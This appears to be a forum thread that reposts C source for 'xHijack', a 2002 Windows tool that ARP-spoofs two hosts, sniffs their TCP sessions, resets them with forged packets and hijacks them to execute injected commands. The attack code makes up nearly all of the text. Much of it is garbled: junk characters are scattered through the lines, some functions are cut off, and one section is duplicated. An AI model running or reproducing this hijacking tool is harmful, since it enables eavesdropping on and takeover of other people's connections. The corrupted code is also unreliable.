+ e0 }: V) v& j2 Y% Z+ @$ Y    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
    memset(g_lpSendPacket->Buffer, 0, 1514);
7 U' |% |7 [/ w    memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
" s4 H2 f1 B4 i    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
    {
      printf("Error sending the hijack packets!\n");
: i. `* f, {2 g6 k+ m3 K! c      __leave;
. c. M* {+ |) {8 Q! y( }    }
# a9 h) p: F" I3 V" z    else printf("Send hijack packet ok!\n");
  P) l% E! ?. ^, U    bRet = TRUE;
  }

韩冰

if(strstr(szSelectAdapterName, pTmp->AdapterName)) 1 e! b- {3 J! U* ?1 { { i* c! e) m- d& V& ]/ q. g) p8 d //found it,get own adapter mac address 5 \: } F, B, J; b! O3 x" R) f memcpy(g_szOwnMAC, pTmp->Address, 6); //get ip address + X t7 ~* V3 x: y @7 d pIPAddr = &pTmp->IpAddressList; while(pIPAddr) { ; Y6 K; b* r" ^0 p: Y! F- v- _ g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); 7 r+ h3 p* O5 c# H pIPAddr = pIPAddr->Next; & _9 _* X, O5 Q( A5 D7 c5 b$ b# R/ O if(g_TotalIP >= Max_Num_IPAddr) break; + q& g. r+ V7 f& N/ Z) b8 T+ Z } break; / u' N+ ?4 T4 c( T) s$ }, m8 E } : a. ~' ]( [4 S; g$ T. q pTmp = pTmp->Next; } 1 A1 Q" i- f3 A) w7 X6 Q0 c. X" V- J; x& S free(pAdapterInfo); # X. ~! E) a V3 \/ [$ r //not found,return zero ; J7 [( y/ \2 Y8 e if( (!pTmp) || (!g_TotalIP) ) return 0; //---------------------------------------------// 2 r/ T/ {. O6 D! r# P //open adapter 5 C5 l5 v, |' J+ d6 _( f9 q lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); * M1 S! G$ z4 |+ F if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) ) J5 u% G6 Q0 r* C7 X { iRetCode = GetLastError(); printf("Unable to open the driver, Error Code : %lx\n", iRetCode); return 0; } // set the network adapter in promiscuous mod # v: q4 L7 H1 f& y8 } if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) + j. X; A2 {. i# E0 B8 P I# j; O { printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 1 }9 q) J7 X8 }) c if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) { $ \0 ], x$ k3 _" [/ @8 F) N printf("Unable to set ALL_LOCAL mode!\n"); 3 x6 p6 B% s8 W5 ^- L( N return 0; ) e. X' S/ R' K. U$ k } } // set a 512K buffer in the driver if(PacketSetBuff(lpAdapter, 512000) == FALSE) { printf("Unable to set the kernel buffer!\n"); 8 V4 N- D5 R% m7 a8 p( u5 Z. p return 0; - a' `9 G8 B, j! F } ' s) K# L- `1 \' o' i$ M- z // set a 1 second read timeout if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) - b: A: Z. K8 u* N Z! Z printf("Warning: unable to set the read tiemout!\n"); 5 u# j1 T! t# J; r* V, h; x# `) m if(PacketSetNumWrites(lpAdapter, 1) == FALSE) printf("warning: Unable to send more than one packet in a single write!\n"); & P' ]" D2 T$ ?) k7 |/ D# ~ d0 Q //设置发送的packet + x4 d- J/ h: Q7 K- X# p g_lpSendPacket = PacketAllocatePacket(); if(g_lpSendPacket == NULL) 7 H* A9 o& [- ~ `4 ?1 N4 \# R { + c, y, G9 u2 Q# z3 H. [) z: s9 I printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); return 0; + | Q7 [/ M8 N. |! k9 E- j } 4 p. ^+ G- ^/ N8 q3 _7 L8 ~ ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); return lpAdapter; 6 L/ M L$ Q) ~0 C} % j P4 p% F# f P% r# N/ l; L Q' b; N//功能：帮助信息 & d1 N6 Z" v% q4 R6 C( ~void usage() { printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" "By eyas 2002/8/19\n" "http://www.ey4s.org\n" "Thanks to Refd0m and shotgun\n\n" "Usage: xHijack ServerSide ClientSide\n\n"); 5 }6 I1 {5 z0 l% m# O* N3 N+ l l1 j} % z! v; D4 h" a9 m4 Q, a// ; w6 ^0 ~9 G1 r% P2 T0 ?1 p2 Z//功能：显示数据包的一些详细信息 , K& W7 R2 l1 k4 |3 t0 a// , |* }: r0 c" Y1 h. lVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) { SOCKADDR_IN saDest, saSrc; * Q ?7 o' m2 Q, ` unsigned char FlagMask; int i; ' Q* d$ Z4 B; R9 {+ a0 u saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; 4 ?. D5 w" x7 a/ y printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); , b9 t8 [( T8 l; q4 N printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); //display TCP flag for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) % d$ i2 `) [# ^3 I { if((pTCPPacket->tcphdr.th_flag) & FlagMask) printf("%c", g_szTcpFlag); * V9 n% K( r6 _3 |2 n( v2 |! q else printf("-"); } printf("\n"); 1 `; G) L3 r2 E7 k# [ //如有需要，可显示更多详细的信息 if(bDetail) printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); D: r* C; }: z: ]} 6 m: }3 e) Q2 x; N5 A* `) b; Y& e// //功能：处理收到的数据包(只分析本不属于自己的包)，然后根据用户输入，完成各种功能 // 2 F- S- g$ Z) ?- f4 j$ w2 V3 WDWORD WINAPI AnalysePacketsThread(LPVOID lp) { ULONG ulBytesReceived; USHORT usDataLen; # G" F4 K/ o! ?( W //USHORT usIPHeadLen, usTCPHeadLen; 5 T& _( O2 A2 K5 d char *buf; - t& F$ v6 G' ]3 r u_int off, i; : a* n% q- x* G: n PTCPPACKET pTCPPacket; struct bpf_hdr *hdr; 5 I$ X* k* e; O [1 H LPPACKET lpRecvPacket; ' H5 M% R$ l ^ char szPacketBuf[256000], *pStr; % p6 {7 A0 M6 }8 q/ A5 [1 Z BOOL bDeleteNode, bAddNew; DWORD ident;//当前所处理的数据包，所属的连接的唯一标识 ( P. H. n1 i& D' W; C" m# k BOOL bClientToServer;//数据包是否从客户端发送到服务器端 # G9 }5 I3 O: a) l. K 9 f h; E" a- S& q0 O0 m( c; S //设置接收的packet lpRecvPacket = PacketAllocatePacket(); % G! R e% {+ Z7 z T4 k2 e2 [ if(lpRecvPacket == NULL) / f/ W. ]+ w; j { ; y) U; n2 i5 I* G% ^* n+ x* T printf("Error:failed to allocate the LPPACKET structure for recv.\n"); return 0; & l9 @* t5 c O7 M7 U } 2 a, X. m; \. K5 ~8 D ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); 5 o( z$ K0 m0 `4 z while(1) { 2 B" \( I! N3 x) }1 R3 @7 d // capture the packets 3 N& B4 c/ s" A- |( j$ | if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) 0 S( {/ y! s7 X7 S. u/ {% a { printf("Error: PacketReceivePacket failed.\n"); [: o" c' h% r$ q6 Y4 v3 R# Z7 q$ ]9 A) _ break; 8 f3 V5 `, ~& v4 ~4 T( o } 8 D7 `# P' W' c; O" Y ulBytesReceived = lpRecvPacket->ulBytesReceived; ' d, r! k: P0 {% U7 x5 \ buf = lpRecvPacket->Buffer; off = 0; while(off < ulBytesReceived) # S/ k m' @" m8 a0 o: J6 i { hdr = (struct bpf_hdr *)(buf + off); 8 I2 u$ ?1 {3 l! H off += hdr->bh_hdrlen; ) P, ~6 S) E5 c0 n; U pTCPPacket = (PTCPPACKET)(buf + off); ) N) e; U# m- Y/ D off = Packet_WORDALIGN(off + hdr->bh_caplen); //不需要处理自己发出的包(转发或本机发送的) , ?* L# u/ H" @! q+ i; H4 Y s if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 5 l5 t W' J+ r/ \5 ] //检查是否IP包 8 w6 R( W3 p( m. J" @ if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; //检查是否TCP包 z# ^+ z/ r- }( S, d if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; //也不处理DestIP是自己的包 for(i=0; i

韩冰

// //功能：列出当前所有连接 " @* T; `6 ~0 J// " n3 O: R+ ?6 p/ s: p% X) N. [void ListAllConnection() { PCONNINFO pTmp; SOCKADDR_IN saDest, saSource; - a6 j0 b+ H2 ~: K. F$ f1 | pTmp = g_pConnHead; while(pTmp) 7 i- s7 x }3 F1 n& A { if(pTmp->bActive) { # l* x8 g! N" p: M* K& ? saSource.sin_addr.s_addr = pTmp->dwServerIP; " G5 o# @% G, H- R Q Y& Y3 ~ saDest.sin_addr.s_addr = pTmp->dwClientIP; printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ntohs(pTmp->uServerPort)); . Z1 j k3 C+ v printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); } pTmp = pTmp->Next; } 5 T8 ?( w& H( V( U5 ?5 o1 y! k} # @# H; _5 J2 m6 I& [& ~ 5 _. Z$ c) C0 J1 o& s// //功能：初始化一些数据，取得指定网卡的MAC地址和所有IP地址 # }: l1 |: Z- D4 _// # @+ H& _& M9 b" M5 jLPADAPTER InitAdapter() { LPADAPTER lpAdapter; 6 i7 e7 D3 K) \; Q4 M& U. z3 i static char AdapterList[Max_Num_Adapter][1024]; char szSelectAdapterName[512]; WCHAR AdapterName[2048]; WCHAR *temp,*temp1; ULONG AdapterLength = 1024; int iAdapterNum = 0; . [; {# ]" u3 p( Q7 ~ int iRetCode, i; int iAdapter = 0; 0 ~" S; M* Q$ K& l. z: v ULONG ulLen = 0; % ~- Z1 z- \) M L3 l9 A5 y DWORD dwRet; - J; }& o3 R; ~! i PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; PIP_ADDR_STRING pIPAddr; 3 A1 o, o5 M: J5 P. R. u //Get The list of Adapter if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) ! w0 U( _' A3 {: F1 R0 y { printf("Unable to retrieve the list of the adapters!\n"); return 0; } temp = temp1 = AdapterName; 0 x- u$ q' E, p+ ?3 ] i = 0; while ((*temp != '\0')||(*(temp-1) != '\0')) { ; X; j6 q8 K# E1 L( ~ if (*temp == '\0') . E' ^* ~) V+ j5 r { memcpy(AdapterList,temp1,(temp-temp1)*2); printf("%d - %S\n", i+1, AdapterList); temp1=temp+1; i++; 2 f& B: q" L! s- p& ~4 D } 6 T' d3 c# A# r! ?8 k temp++; " E$ t$ Y4 n3 @( Y! T0 { } //choose adapter while((iAdapter <= 0) || (iAdapter > i)) 8 b8 _' `0 R: ?8 ?, p: x8 ]; g { 8 [. V( L ]6 G" a) h* ~ printf("\nPlease choose your Adapter:"); scanf("%1d", &iAdapter); } printf("\n"); ; O1 m5 x* H, t0 R //---------------------------------------------// //这里调用iphlpapi来取得本地ip_addr和mac_addr 8 M8 e2 @7 a& j7 L$ W sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); ( x* q& h6 Z# S$ y2 {* A( p, _ dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); " t- L- c. K) { if(dwRet != ERROR_BUFFER_OVERFLOW) { + K, [% t$ L' {1 T" f# [0 L+ e# z printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; 7 u0 _( D9 ]' c } pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); if(!pAdapterInfo) { printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); " f8 r3 b. K# u9 ^; w return 0; } dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 6 F& T% P+ j( ?0 S: {$ g% l+ j9 c if(dwRet != ERROR_SUCCESS) ' F$ k1 D) x/ ~$ x; T2 I { $ w+ l" _3 y5 b& ^. v printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; } 0 o, q3 c" F+ V1 b% o! R: I pTmp = pAdapterInfo; while(pTmp) 2 W$ e1 b2 b/ p: |2 f* }/ n { //字符匹配

韩冰

void ResetActionAllFlag()
{
7 {" E2 m# g# u3 S) d- x  g_dwCtrlConn = 0;
  g_pCurrCtrlConn = NULL;
% Y8 I1 w/ x( {; R& D6 T1 R  g_dwAction = ACTION_NONE;
$ {4 U+ h) g% |4 d/ ^. t( R6 @- L}

//
" T* B2 n5 z1 }; _- k" d( G/ [( F//功能：处理Ctrl+C和Ctrl+Break事件
) e, V) ~+ _" @//
' [& E! ~5 q( i, W5 C  @BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
{
  switch(dwCtrlType)
  {
    case CTRL_BREAK_EVENT:
  e  \) O0 b/ H: \1 u8 _( H, L! Q      //reset action all flag
7 }4 |6 K0 y4 L5 Q% ]$ o5 H/ q! T      ResetActionAllFlag();
      break;
  c/ D8 K4 l7 r4 X6 l% L4 i    case CTRL_C_EVENT:
      //terminate all thread
      TerminateThread(g_hThread[0], 0);
4 X0 B" j- t# Z9 @; S% ~" ~      TerminateThread(g_hThread[1], 0);
      TerminateThread(g_hThread[2], 0);
7 r7 t! B0 R/ l+ g/ V/ ?      TerminateThread(g_hThread[3], 0);
      break;
3 e! l' `) v& y: W    default:
      break;
  }
  return TRUE;
; }) K7 D' K* T9 {9 f/ @$ c}

//
2 d9 D' f+ ?% a( }, n//功能：处理用户输入
$ N7 Y7 K9 g% j$ u//
: C% ~2 p% z. y2 ~DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
) R" q- g1 g/ Q) Z' n{
  DWORD  i;
  char  szBuff[16];

  *lpCommandPos = 0;
" a$ ?2 ]8 i8 m8 p  for(i=0; i&lt;15, i代码比较乱
//
DWORD WINAPI InterfaceThread(LPVOID lp)
( R6 b% j" r% t8 U{
  char  szHelp[] =  "l\t\t&lt;-- List all connections\n"
6 ^) ~5 `  J/ h            "r x\t\t&lt;-- Reset the number x connection\n"
- d0 l' \  j) z$ m            "w x\t\t&lt;-- Watch the number x connection\n"
            "h x command\t&lt;-- Hijack the number x connection to execute command\n"
            "[Note]\n"
. a$ ~6 ?' g2 O            "Ctrl+Break to clear all action\n"
            "Ctrl+C to exit\n";
* t; H; b1 M: W. ?9 r; z3 _1 |  char  szPrompt[] = "\nxHijack&gt;";
  char  szBuffer[128];
0 f- o2 Y$ z+ h1 e4 p  DWORD  dwPos;
$ `' L4 R/ _3 _, Z" A5 ?2 A1 h5 j7 O  PCONNINFO  pTmp;

  while(1)
  {
0 V. r4 T# ?2 Z; o    gets(szBuffer);//不考虑buffer overflow
    switch(szBuffer[0])
( y6 x! v' ]: t    {
$ r6 X; |- z6 ^& i. L  M. O      case 'l':
  G. b* U* Z7 c7 o* o% W" N1 _  O& ^      case 'L':
9 |! I& z- T2 ]        ListAllConnection();
        break;
- I  O7 q: h# E6 N( V  y! N3 E      case 'r':
- w, S/ T* d) `/ x      case 'R':
5 T1 Y/ ^1 o9 u& W; x        if(strlen(szBuffer) &gt;2)
0 p/ c, ~8 }/ v        {
) ?& O( B1 P$ \/ q# }6 B* K          g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos);
          g_dwAction = ACTION_RESET;
" q. M6 y" |4 E) `2 e7 ~2 s        }
3 s# R( G4 T4 {- I4 S7 E/ I6 `7 [        else printf("%s", szHelp);
) k1 R4 _2 \: C, D1 F( r* y4 r- N        break;
      case 'w':
      case 'W':
        if(strlen(szBuffer) &gt; 2)
( w; S/ j$ `& ~! }; s$ N        {
          g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos);
          g_dwAction = ACTION_WATCH;
        }
        else printf("%s", szHelp);
* E: h/ Y" O1 h+ U8 L        break;
4 [- z& m+ K: ]& }+ b* I+ w      case 'h':
      case 'H'://h 1 xxx
        if(strlen(szBuffer) &gt; 5)
( ~1 O4 I6 S) Y, q4 [        {
          g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos);
          //如果command第一个字符是'或"
/ m9 K- F) T7 S9 f8 s& |          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
          {
" o# f: s9 J, q4 T8 B! s            strncpy(g_szCommand, &amp;szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
* K( z1 T3 t$ A/ |  t2 [7 R7 F            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
, r# d5 o7 }7 @  l' B: m5 q/ o  Z          }
5 q5 C* C& v  e2 L$ p- D- c" ]          else strncpy(g_szCommand, &amp;szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
8 q! a9 x9 D3 p0 ~          strcat(g_szCommand, "\x0D\x0A");
          g_dwAction = ACTION_HIJACK;
        }
        else printf("%s", szHelp);
5 P7 L* p7 ~7 U4 h: b  l        break;
      default:
+ `' N& y* p" J9 e2 t) D/ I7 a# U        printf("%s", szHelp);
  m  I# d  q& |6 W# x% o        break;
    }//end of switch
    //find the specify ident's struct point
    if( (g_dwCtrlConn) &amp;&amp; (g_dwAction) )
    {
" b0 j9 [2 w7 \2 x; Z) e      g_pCurrCtrlConn = NULL;
      pTmp = g_pConnHead;
% z) q. u$ ]' E9 c5 ~      while(pTmp)
' `+ x, C  j7 M: b) Q+ R      {
        if((pTmp-&gt;ident == g_dwCtrlConn) &amp;&amp; (pTmp-&gt;bActive) )
; L2 o: U: w; t: h' J        {
8 `' A$ e9 Z( p          g_pCurrCtrlConn = pTmp;
          break;
        }
        pTmp = pTmp-&gt;Next;
( O9 r1 O/ p$ P" q; {      }
  h! N0 P& V  C- O3 U      if(!g_pCurrCtrlConn)
      {
2 N1 {/ _+ C9 {2 G! R" k; I; j" Y        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
9 ^' }2 N+ A% v" a9 U, H        //reset action all flag
$ c: ]  x+ ~& V3 K* x        ResetActionAllFlag();      
% b+ g) I, c2 a. V: I5 V) Q6 _% n      }
. W& V4 Y% W7 q7 y$ q5 W% }    }
    if(!g_dwCtrlConn) ResetActionAllFlag();
    //显示当前用户所期望的动作
5 O. k0 W; }& D" q  v4 p$ N3 b) g* D    printf("\nCurrentAction:");
    switch(g_dwAction)
% O. V5 {/ I4 i    {
: a) X3 q! [9 h4 p& Q3 `1 ?  C. y1 ~+ p      case ACTION_WATCH:
6 `+ e# p- K0 Q. I! s        printf("ACTION_WATCH");
9 i8 W8 W; v3 c) w; U  Z4 U, c        break;
; [2 U& ]; Y- w9 S1 R+ ^' S. d5 j      case ACTION_RESET:
( {/ M0 X* [: \) E  V- Z        printf("ACTION_RESET");
        break;
2 j, w5 @' P6 P' {, W      case ACTION_HIJACK:
, g% Y/ [& J! T& H$ F* ]6 ~( Q        printf("ACTION_HIJACK");
        break;
4 j" I: Y6 q, r6 B- L$ l3 D      default:
        printf("ACTION_NONE");
        break;
: K, a0 \. l! @& e: B; m  F, L2 Y( |    }
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
  }//enf of while
3 v, G3 \0 L/ @% I$ N- L  p  C4 {* f  return 0;
0 e  L. f4 i% g}

韩冰

unsigned int  g_ServerSideIP,
& e1 _  P# L  }9 h        g_ClientSideIP,
+ L8 E* E/ B& s9 O& f( l. l4 P* o        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
        g_TotalIP = 0;//
/ T7 ], z7 A+ \8 Z5 gunsigned char  g_szOwnMAC[6];//本机MAC地址
" r  r, ]- y( {7 G9 qunsigned char  g_szClientSideMAC[6];
unsigned char  g_szServerSideMAC[6];
, R+ A2 V% o0 W) b9 s: r! Y( K0 Uchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER    g_lpAdapter;
; y) F  F' ~, w//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
% ~6 ^' J# \& i, }" Q" HHANDLE      g_hThread[4];
char      g_szCommand[128];//command to execute after hijack
( g2 Q( `! }0 L6 U; K; O: PDWORD      g_dwAction;//action type
* Y: _, g* s  ?3 u: A4 S5 ~) N3 |DWORD      g_dwCtrlConn;//action 所控制连接的标识
5 S# e# c; V+ j1 O5 D4 \DWORD      g_ident;//节点标识，递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
, H5 a# O* g! n6 M4 ~1 G' O+ O! H6 }# _, k        g_pConnHead = NULL,
4 \8 z$ [6 t. E+ a6 `        g_pConnLast = NULL;
char      g_szSendPacketBuf[1514];
LPPACKET    g_lpSendPacket;
//函数
4 M" |. v6 K% S2 ovoid      usage(void);
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
4 f+ v* q$ n* {0 avoid      ListAllConnection();//列出当前所有的连接
% u$ y7 ~; ?$ H7 hvoid      ResetActionAllFlag();
USHORT      checksum(USHORT *, int);
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
; J3 R  G. U& q( Q2 WBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
0 o6 G, ^$ G, N1 M" g# I8 I& _BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
  m- i) q% w9 X" uDWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
& T8 B# W% b, _. @: a5 uBOOL  WINAPI  CtrlEvent(DWORD);


$ r7 z3 L& O. P  V8 ], m' H
/ y  C/ o, M$ l  |8 ?int main(int argc, char **argv)
{
$ L4 s. P, t4 G" _  struct    bpf_stat stat;
  int      i;
& q' T: a" K7 [% U& C2 _0 d: g
  usage();
  if (argc != 3) return 0;
9 l! P% @$ A9 \& g6 P6 q! K  //取得参数
7 b1 P9 q+ [/ V0 c. B6 x9 z  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
9 K6 t5 d, K! ~1 Y! L/ k  X0 N  //初始化adapter &amp; 一些全局变量
4 }4 e  u5 \4 X$ t" t7 _! Z) D  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
  //get ServerSide MAC &amp; ClientSide MAC
& K, g  z) u2 V' ]% e5 y6 A7 O( f  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
: e1 f: ~  x# z0 o# ?  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
5 ~/ E2 _3 V4 e  //create arp spoof thread     
0 {3 Q6 U1 c# M6 x& w/ P: j  i = 1;
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
2 ~  B0 x+ z  l& D. {  Sleep(500);
4 o9 S% j0 P( Q2 u! r$ }: Z  i = 2;
" g# Z1 k" I/ F3 Q9 m  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
6 J1 p+ c4 [6 L4 c6 X2 ?4 `  //create interface thread
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
! a  i4 [  c, w9 n! C  {
1 c7 ~+ X% S( z+ h" h& L! g5 ~    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
0 [3 ?8 o- L7 C4 q. M9 H& z  }
  //wait for any thread exit
# R$ N* z, b( k+ B) |5 G% e1 e9 s8 Y  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
( _4 T: h4 e% a0 C5 K0 J/ _  //print the capture statistics
  if(PacketGetStats(g_lpAdapter, &amp;stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
8 p& _. l$ L# s* F$ y) D  else
0 i) `; W7 X% C/ s* Q1 W. O    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
, u3 t& I) a6 C8 k( a7 ?8 c  //free resource   
  PacketFreePacket(g_lpSendPacket);
6 _' H0 _2 s: {; H$ n  PacketCloseAdapter(g_lpAdapter);
  return 0;
: M! T/ g* F) v4 L}
) k2 h6 L/ V: L" K) d3 m
! j9 D) E, h4 W//
0 B9 c7 Y3 J. ~# x//功能：重置所有于ACTION有关的标志
9 Z4 A$ |7 B; D2 K+ |6 ~//

韩冰

unsigned int  g_ServerSideIP,
        g_ClientSideIP,
3 [) Z6 P* F4 B* o/ J        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
+ x4 H# Q, D) z! @4 ]        g_TotalIP = 0;//
- W% r: @2 s, q, F. @9 b3 o# Eunsigned char  g_szOwnMAC[6];//本机MAC地址
unsigned char  g_szClientSideMAC[6];
8 B; h- A& k. w" D1 X! Xunsigned char  g_szServerSideMAC[6];
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER    g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
- j6 o. q0 d( a* X& zHANDLE      g_hThread[4];
char      g_szCommand[128];//command to execute after hijack
DWORD      g_dwAction;//action type
+ k0 [+ v( f& w' ^2 ]7 lDWORD      g_dwCtrlConn;//action 所控制连接的标识
) Z, B) c6 D- X5 l) ADWORD      g_ident;//节点标识，递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
        g_pConnHead = NULL,
& [# g* I4 p6 Z' ~$ l        g_pConnLast = NULL;
char      g_szSendPacketBuf[1514];
LPPACKET    g_lpSendPacket;
" `. B# Y( v' W6 l- x//函数
void      usage(void);
5 R" G: q# o! I2 k8 G8 h- q7 hvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
3 j# r2 t4 X/ A3 m: E* {2 p; ivoid      ResetActionAllFlag();
1 o: H! D  k! \4 dUSHORT      checksum(USHORT *, int);
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
8 h/ {) f: @! o6 X0 a  cLPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
2 N; n5 x% C5 z/ X0 ]5 `BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
, f- }; I, h# S) h1 _/ SDWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
) C9 h. L0 j4 f- ODWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
; j0 T, s; d5 i7 o8 e0 [DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);
: Z" T: d; P! B& V0 F


int main(int argc, char **argv)
( s# k8 M9 R' N{
$ h3 K3 }8 [% ?  struct    bpf_stat stat;
; V' G$ d/ C9 I$ A  int      i;

" f/ [/ N( i3 P6 n  usage();
  if (argc != 3) return 0;
  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter &amp; 一些全局变量
  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
  //get ServerSide MAC &amp; ClientSide MAC
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
* X9 o$ t( i: h4 e5 _; }  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread     
  i = 1;
, a" m7 [/ z* e  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
' I' c; k; D" H6 }6 N  Sleep(500);
  i = 2;
7 t( ~+ S, G" h, ^* w- T  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
  //create analyse packet thread
4 q) b6 N" S) }! K  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
/ k* k; |: R  W" Y: d" f  //create interface thread
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
$ J5 o( t: M+ l. G* p7 v6 C- z  w  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
- c7 d' n$ ?. b8 ?  r2 k3 _% z    return 0;
  }
